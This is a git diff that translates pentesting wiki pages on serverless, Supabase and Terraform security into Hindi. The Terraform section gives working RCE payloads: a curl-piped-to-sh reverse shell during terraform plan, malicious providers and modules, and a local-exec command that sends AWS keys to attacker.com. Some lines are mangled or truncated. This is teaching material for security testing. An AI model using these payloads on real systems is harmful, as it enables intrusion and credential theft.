- provider:
- apiGateway:
- throttle:
- burstLimit: 200
- rateLimit: 100
- ```
+```yaml
+provider:
+apiGateway:
+throttle:
+burstLimit: 200
+rateLimit: 100
+```
- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers.
- ```yaml
- functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- cors:
- origin: https://yourdomain.com
- headers:
- - Content-Type
- ```
+```yaml
+functions:
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+cors:
+origin: https://yourdomain.com
+headers:
+- Content-Type
+```
- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns.
@@ -721,142 +675,9 @@ Shared resources and inadequate isolation can lead to privilege escalations or u
- **Resource Partitioning:** Use separate databases or storage buckets for different functions.
- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation.
- ```yaml
- provider:
- vpc:
- securityGroupIds:
- - sg-xxxxxxxx
- subnetIds:
- - subnet-xxxxxx
- ```
-
-- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required.
-
----
-
-### **Inadequate Data Protection**
-
-Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering.
-
-#### **Mitigation Strategies**
-
-- **Encrypt Data at Rest:** Utilize cloud service encryption features.
-
- ```yaml
- resources:
- Resources:
- MyDynamoDBTable:
- Type: AWS::DynamoDB::Table
- Properties:
- SSESpecification:
- SSEEnabled: true
- ```
-
-- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions.
-- **Secure API Communication:** Enforce encryption protocols and validate certificates.
-- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly.
-
----
-
-### **Lack of Proper Error Handling**
-
-Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes.
-
-#### **Mitigation Strategies**
-
-- **Generic Error Messages:** Avoid exposing internal details in error responses.
-
- ```javascript
- javascriptCopy code// Example in Node.js
- exports.hello = async (event) => {
- try {
- // Function logic
- } catch (error) {
- console.error(error);
- return {
- statusCode: 500,
- body: JSON.stringify({ message: 'Internal Server Error' }),
- };
- }
- };
- ```
-
-- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions.
-- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users.
-
----
-
-### **Insecure Deployment Practices**
-
-Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations.
-
-#### **Mitigation Strategies**
-
-- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits.
-- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data.
-- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies.
-- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices.
-
----
-
-### **Vulnerabilities in Plugins and Extensions**
-
-Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications.
-
-#### **Mitigation Strategies**
-
-- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources.
-- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface.
-- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches.
-- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises.
-
----
-
-### **Exposure of Sensitive Endpoints**
-
-Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations.
-
-#### **Mitigation Strategies**
-
-- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources.
-- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization.
-- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting.
-- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use.
-
----
-
-### **Excessive Permissions for Team Members and External Collaborators**
-
-Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats.
-
-#### **Mitigation Strategies**
-
-- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks.
-
----
-
-### **Access Keys and License Keys Security**
-
-**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI.
-
-- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI.
-- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`.
-
-#### **Security Risks**
-
-1. **Exposure Through Code Repositories:**
- - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access.
-2. **Insecure Storage:**
- - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage.
-3. **Improper Distribution:**
- - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors.
-4. **Lack of Rotation:**
- - Not regularly rotating keys extends the exposure period if keys are compromised.
-5. **Excessive Permissions:**
- - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources.
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
-
+```yaml
+provider:
+vpc:
+securityGroupIds:
+- sg-xxxxxxxx
+sub
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index 6fa6219f8..a1cff83c1 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -4,47 +4,46 @@
## Basic Information
-As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
+As per their [**landing page**](https://supabase.com/): Supabase एक ओपन सोर्स Firebase विकल्प है। अपने प्रोजेक्ट को Postgres डेटाबेस, Authentication, इंस्टेंट APIs, Edge Functions, Realtime subscriptions, Storage, और Vector embeddings के साथ शुरू करें।
### Subdomain
-Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
+बुनियादी रूप से जब एक प्रोजेक्ट बनाया जाता है, तो उपयोगकर्ता को एक supabase.co उपडोमेन प्राप्त होगा जैसे: **`jnanozjdybtpqgcwhdiz.supabase.co`**
## **Database configuration**
> [!TIP]
-> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/database`**
+> **यह डेटा एक लिंक से एक्सेस किया जा सकता है जैसे `https://supabase.com/dashboard/project//settings/database`**
-This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
-The password is a **password the user put** previously.
+यह **डेटाबेस** कुछ AWS क्षेत्र में तैनात किया जाएगा, और इससे कनेक्ट करने के लिए इसे कनेक्ट करना संभव होगा: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (यह us-west-1 में बनाया गया था)।\
+पासवर्ड एक **पासवर्ड है जो उपयोगकर्ता ने पहले डाला था**।
-Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
+इसलिए, चूंकि उपडोमेन एक ज्ञात है और इसका उपयोग उपयोगकर्ता नाम के रूप में किया जाता है और AWS क्षेत्र सीमित हैं, इसलिए **पासवर्ड को ब्रूट फोर्स करने** का प्रयास करना संभव हो सकता है।
-This section also contains options to:
+इस अनुभाग में निम्नलिखित विकल्प भी शामिल हैं:
-- Reset the database password
-- Configure connection pooling
-- Configure SSL: Reject plan-text connections (by default they are enabled)
-- Configure Disk size
-- Apply network restrictions and bans
+- डेटाबेस पासवर्ड रीसेट करें
+- कनेक्शन पूलिंग कॉन्फ़िगर करें
+- SSL कॉन्फ़िगर करें: प्लेन-टेक्स्ट कनेक्शनों को अस्वीकार करें (डिफ़ॉल्ट रूप से ये सक्षम हैं)
+- डिस्क आकार कॉन्फ़िगर करें
+- नेटवर्क प्रतिबंध और प्रतिबंध लागू करें
## API Configuration
> [!TIP]
-> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/api`**
+> **यह डेटा एक लिंक से एक्सेस किया जा सकता है जैसे `https://supabase.com/dashboard/project//settings/api`**
-The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
+आपके प्रोजेक्ट में supabase API तक पहुँचने के लिए URL होगा: `https://jnanozjdybtpqgcwhdiz.supabase.co`।
### anon api keys
-It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
+यह एक **anon API key** (`role: "anon"`), जैसे: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` उत्पन्न करेगा जिसे एप्लिकेशन को API कुंजी से संपर्क करने के लिए उपयोग करने की आवश्यकता होगी जो हमारे उदाहरण में उजागर की गई है।
-It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
+इस API से संपर्क करने के लिए API REST को [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) में पाया जा सकता है, लेकिन सबसे दिलचस्प एंडपॉइंट होंगे:
Signup (/auth/v1/signup)
-
```
POST /auth/v1/signup HTTP/2
Host: id.io.net
@@ -69,13 +68,11 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
-
-Login (/auth/v1/token?grant_type=password)
-
+लॉगिन (/auth/v1/token?grant_type=password)
```
POST /auth/v1/token?grant_type=password HTTP/2
Host: hypzbtgspjkludjcnjxl.supabase.co
@@ -100,68 +97,63 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
-
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
+तो, जब भी आप किसी क्लाइंट को सुपाबेस का उपयोग करते हुए पाते हैं, जो उन्हें दिए गए उपडोमेन का उपयोग कर रहा है (यह संभव है कि कंपनी का एक उपडोमेन उनके सुपाबेस उपडोमेन पर CNAME हो), आप **सुपाबेस API का उपयोग करके प्लेटफॉर्म में एक नया खाता बनाने की कोशिश कर सकते हैं**।
-### secret / service_role api keys
+### गुप्त / सेवा_भूमिका API कुंजी
-A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
+एक गुप्त API कुंजी भी **`role: "service_role"`** के साथ उत्पन्न होगी। यह API कुंजी गुप्त होनी चाहिए क्योंकि यह **रो स्तर सुरक्षा** को बायपास कर सकेगी।
-The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
+API कुंजी इस तरह दिखती है: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
-### JWT Secret
+### JWT गुप्त
-A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
+एक **JWT गुप्त** भी उत्पन्न होगा ताकि एप्लिकेशन **कस्टम JWT टोकन बना और हस्ताक्षरित कर सके**।
-## Authentication
+## प्रमाणीकरण
-### Signups
+### साइनअप
> [!TIP]
-> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
+> **डिफ़ॉल्ट** के अनुसार, सुपाबेस आपके प्रोजेक्ट पर **नए उपयोगकर्ताओं को खाते बनाने** की अनुमति देगा, जो पहले उल्लेखित API एंडपॉइंट्स का उपयोग करते हैं।
-However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
-This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
+हालांकि, ये नए खाते, डिफ़ॉल्ट रूप से, **अपने ईमेल पते को मान्य करने की आवश्यकता होगी** ताकि वे खाते में लॉगिन कर सकें। यह **"अनाम साइन-इन की अनुमति दें"** सक्षम करने के लिए संभव है ताकि लोग अपने ईमेल पते को सत्यापित किए बिना लॉगिन कर सकें। इससे **अप्रत्याशित डेटा** तक पहुंच मिल सकती है (उन्हें `public` और `authenticated` भूमिकाएँ मिलती हैं)।\
+यह एक बहुत बुरी विचार है क्योंकि सुपाबेस सक्रिय उपयोगकर्ता के लिए शुल्क लेता है, इसलिए लोग उपयोगकर्ता बना सकते हैं और लॉगिन कर सकते हैं और सुपाबेस उन पर शुल्क लेगा:
-### Passwords & sessions
+### पासवर्ड और सत्र
-It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
-It's recommended to **improve the requirements as the default ones are weak**.
+यह न्यूनतम पासवर्ड लंबाई (डिफ़ॉल्ट द्वारा), आवश्यकताओं (डिफ़ॉल्ट द्वारा कोई नहीं) को इंगित करना और लीक हुए पासवर्ड का उपयोग करने से रोकना संभव है।\
+यह **अनुशंसा की जाती है कि आवश्यकताओं को सुधारें क्योंकि डिफ़ॉल्ट कमजोर हैं**।
-- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
-- Bot and Abuse Protection: It's possible to enable Captcha.
+- उपयोगकर्ता सत्र: यह निर्धारित करना संभव है कि उपयोगकर्ता सत्र कैसे काम करते हैं (टाइमआउट, प्रति उपयोगकर्ता 1 सत्र...)
+- बॉट और दुरुपयोग सुरक्षा: कैप्चा सक्षम करना संभव है।
-### SMTP Settings
+### SMTP सेटिंग्स
-It's possible to set an SMTP to send emails.
+ईमेल भेजने के लिए SMTP सेट करना संभव है।
-### Advanced Settings
+### उन्नत सेटिंग्स
-- Set expire time to access tokens (3600 by default)
-- Set to detect and revoke potentially compromised refresh tokens and timeout
-- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
-- Max Direct Database Connections: Max number of connections used to auth (10 by default)
-- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
+- एक्सेस टोकन के लिए समाप्ति समय सेट करें (डिफ़ॉल्ट 3600)
+- संभावित रूप से समझौता किए गए रिफ्रेश टोकन का पता लगाने और रद्द करने के लिए सेट करें और टाइमआउट
+- MFA: यह इंगित करें कि प्रति उपयोगकर्ता एक बार में कितने MFA कारक पंजीकृत किए जा सकते हैं (डिफ़ॉल्ट 10)
+- अधिकतम डायरेक्ट डेटाबेस कनेक्शन: प्रमाणीकरण के लिए उपयोग किए जाने वाले कनेक्शनों की अधिकतम संख्या (डिफ़ॉल्ट 10)
+- अधिकतम अनुरोध अवधि: अधिकतम समय जो एक प्रमाणीकरण अनुरोध के लिए अनुमति दी जाती है (डिफ़ॉल्ट 10 सेकंड)
-## Storage
+## संग्रहण
> [!TIP]
-> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
+> सुपाबेस **फाइलों को संग्रहीत करने** और उन्हें URL के माध्यम से सुलभ बनाने की अनुमति देता है (यह S3 बकेट का उपयोग करता है)।
-- Set the upload file size limit (default is 50MB)
-- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
-- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
+- अपलोड फ़ाइल आकार सीमा सेट करें (डिफ़ॉल्ट 50MB)
+- S3 कनेक्शन एक URL के साथ दिया गया है जैसे: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
+- यह **S3 एक्सेस कुंजी** का अनुरोध करना संभव है जो एक `access key ID` (जैसे `a37d96544d82ba90057e0e06131d0a7b`) और एक `secret access key` (जैसे `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) द्वारा बनाई जाती है।
-## Edge Functions
+## एज फ़ंक्शंस
-It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
+यह संभव है कि **सुपाबेस में गुप्त जानकारी संग्रहीत करें** जो **एज फ़ंक्शंस द्वारा सुलभ होगी** (इन्हें वेब से बनाया और हटाया जा सकता है, लेकिन इनका मूल्य सीधे एक्सेस करना संभव नहीं है)।
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 09b875ff2..d407529b6 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -6,303 +6,273 @@
[From the docs:](https://developer.hashicorp.com/terraform/intro)
-HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
+HashiCorp Terraform एक **कोड के रूप में बुनियादी ढांचा उपकरण** है जो आपको **क्लाउड और ऑन-प्रेम संसाधनों** को मानव-पठनीय कॉन्फ़िगरेशन फ़ाइलों में परिभाषित करने की अनुमति देता है जिन्हें आप संस्करण, पुन: उपयोग और साझा कर सकते हैं। आप फिर अपने बुनियादी ढांचे के पूरे जीवनचक्र के दौरान सभी संसाधनों को प्रावधान और प्रबंधित करने के लिए एक सुसंगत कार्यप्रवाह का उपयोग कर सकते हैं। Terraform निम्न-स्तरीय घटकों जैसे कि कंप्यूट, स्टोरेज, और नेटवर्किंग संसाधनों के साथ-साथ उच्च-स्तरीय घटकों जैसे कि DNS प्रविष्टियों और SaaS सुविधाओं का प्रबंधन कर सकता है।
-#### How does Terraform work?
+#### Terraform कैसे काम करता है?
-Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
+Terraform क्लाउड प्लेटफार्मों और अन्य सेवाओं पर संसाधनों को उनके एप्लिकेशन प्रोग्रामिंग इंटरफेस (APIs) के माध्यम से बनाता और प्रबंधित करता है। प्रदाता Terraform को किसी भी प्लेटफॉर्म या सेवा के साथ काम करने में सक्षम बनाते हैं जिसमें एक सुलभ API होता है।
.png>)
-HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
+HashiCorp और Terraform समुदाय ने पहले से ही **1700 से अधिक प्रदाता** लिखे हैं जो हजारों विभिन्न प्रकार के संसाधनों और सेवाओं का प्रबंधन करते हैं, और यह संख्या बढ़ती जा रही है। आप सभी सार्वजनिक रूप से उपलब्ध प्रदाताओं को [Terraform Registry](https://registry.terraform.io/) पर पा सकते हैं, जिसमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और कई अन्य शामिल हैं।
-The core Terraform workflow consists of three stages:
+मुख्य Terraform कार्यप्रवाह तीन चरणों में विभाजित है:
-- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
-- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
-- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
+- **लिखें:** आप संसाधनों को परिभाषित करते हैं, जो कई क्लाउड प्रदाताओं और सेवाओं में हो सकते हैं। उदाहरण के लिए, आप सुरक्षा समूहों और लोड बैलेंसर के साथ एक वर्चुअल प्राइवेट क्लाउड (VPC) नेटवर्क में वर्चुअल मशीनों पर एक एप्लिकेशन तैनात करने के लिए एक कॉन्फ़िगरेशन बना सकते हैं।
+- **योजना:** Terraform एक निष्पादन योजना बनाता है जो उस बुनियादी ढांचे का वर्णन करता है जिसे यह बनाएगा, अपडेट करेगा, या नष्ट करेगा जो मौजूदा बुनियादी ढांचे और आपकी कॉन्फ़िगरेशन के आधार पर है।
+- **लागू करें:** अनुमोदन पर, Terraform सही क्रम में प्रस्तावित संचालन करता है, किसी भी संसाधन निर्भरताओं का सम्मान करते हुए। उदाहरण के लिए, यदि आप एक VPC की विशेषताओं को अपडेट करते हैं और उस VPC में वर्चुअल मशीनों की संख्या बदलते हैं, तो Terraform वर्चुअल मशीनों को स्केल करने से पहले VPC को फिर से बनाएगा।
.png>)
### Terraform Lab
-Just install terraform in your computer.
+बस अपने कंप्यूटर में terraform स्थापित करें।
-Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
+यहाँ आपके पास एक [गाइड](https://learn.hashicorp.com/tutorials/terraform/install-cli) है और यहाँ आपके पास terraform डाउनलोड करने का [सर्वश्रेष्ठ तरीका](https://www.terraform.io/downloads) है।
## RCE in Terraform
-Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**.
+Terraform **कोई प्लेटफॉर्म नहीं है जो एक वेब पृष्ठ या नेटवर्क सेवा को उजागर करता है** जिसे हम सूचीबद्ध कर सकते हैं, इसलिए, terraform को समझौता करने का एकमात्र तरीका है **terraform कॉन्फ़िगरेशन फ़ाइलों को जोड़ने/संशोधित करने में सक्षम होना**।
-However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
+हालांकि, terraform एक **बहुत संवेदनशील घटक** है जिसे समझौता करना है क्योंकि इसके पास विभिन्न स्थानों तक **विशेषाधिकार प्राप्त पहुंच** होगी ताकि यह सही तरीके से काम कर सके।
-The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
+एक हमलावर के लिए उस सिस्टम को समझौता करने का मुख्य तरीका जहां terraform चल रहा है, है **terraform कॉन्फ़िगरेशन को स्टोर करने वाले रिपॉजिटरी को समझौता करना**, क्योंकि किसी बिंदु पर उन्हें **व्याख्या** किया जाएगा।
-Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
+वास्तव में, वहाँ ऐसे समाधान हैं जो **PR बनने के बाद स्वचालित रूप से terraform plan/apply निष्पादित करते हैं**, जैसे कि **Atlantis**:
{{#ref}}
atlantis-security.md
{{#endref}}
-If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
+यदि आप एक terraform फ़ाइल को समझौता करने में सक्षम हैं, तो जब कोई `terraform plan` या `terraform apply` निष्पादित करता है, तो RCE करने के लिए आपके पास विभिन्न तरीके हैं।
### Terraform plan
-Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
+Terraform plan terraform में **सबसे अधिक उपयोग किया जाने वाला कमांड** है और डेवलपर्स/समाधान जो terraform का उपयोग करते हैं, इसे हमेशा कॉल करते हैं, इसलिए **RCE प्राप्त करने का सबसे आसान तरीका** यह सुनिश्चित करना है कि आप एक terraform कॉन्फ़िगरेशन फ़ाइल को विषाक्त करें जो `terraform plan` में मनमाने आदेशों को निष्पादित करेगी।
-**Using an external provider**
+**एक बाहरी प्रदाता का उपयोग करना**
-Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
-
-Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
+Terraform [`external` प्रदाता](https://registry.terraform.io/providers/hashicorp/external/latest/docs) प्रदान करता है जो Terraform और बाहरी कार्यक्रमों के बीच इंटरफेस करने का एक तरीका प्रदान करता है। आप `plan` के दौरान मनमानी कोड चलाने के लिए `external` डेटा स्रोत का उपयोग कर सकते हैं।
+एक terraform कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित की तरह कुछ इंजेक्ट करने से `terraform plan` निष्पादित करते समय एक रिवर्स शेल निष्पादित होगा:
```javascript
data "external" "example" {
- program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
+program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
+**कस्टम प्रदाता का उपयोग करना**
-**Using a custom provider**
-
-An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
-
+एक हमलावर [कस्टम प्रदाता](https://learn.hashicorp.com/tutorials/terraform/provider-setup) को [Terraform Registry](https://registry.terraform.io/) पर भेज सकता है और फिर इसे एक फीचर ब्रांच में Terraform कोड में जोड़ सकता है ([यहां से उदाहरण](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
- terraform {
- required_providers {
- evil = {
- source = "evil/evil"
- version = "1.0"
- }
- }
- }
+terraform {
+required_providers {
+evil = {
+source = "evil/evil"
+version = "1.0"
+}
+}
+}
provider "evil" {}
```
-
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
-**Using an external reference**
+**एक बाहरी संदर्भ का उपयोग करना**
-Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
-
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+दोनों उल्लेखित विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा अधिक छिपा हुआ है लेकिन पहले से अधिक जटिल है)। आप इस हमले को एक **और अधिक छिपे हुए तरीके** से भी कर सकते हैं, इन सुझावों का पालन करके:
+- Terraform फ़ाइल में सीधे rev shell जोड़ने के बजाय, आप **एक बाहरी संसाधन लोड कर सकते हैं** जिसमें rev shell हो:
```javascript
module "not_rev_shell" {
- source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
+source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
+आप रिव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) पर पा सकते हैं।
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-
-- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- बाहरी संसाधन में, **ref** फीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड को छिपाया जा सके**, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
-Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-You just need to make sure some payload like the following ones ends in the `main.tf` file:
-
+Terraform apply सभी परिवर्तनों को लागू करने के लिए निष्पादित किया जाएगा, आप इसे RCE प्राप्त करने के लिए भी दुरुपयोग कर सकते हैं **एक दुर्भावनापूर्ण Terraform फ़ाइल को** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** के साथ इंजेक्ट करके।**\
+आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड `main.tf` फ़ाइल में समाप्त हो जाएं:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
- provisioner "local-exec" {
- command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
- }
+provisioner "local-exec" {
+command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+}
}
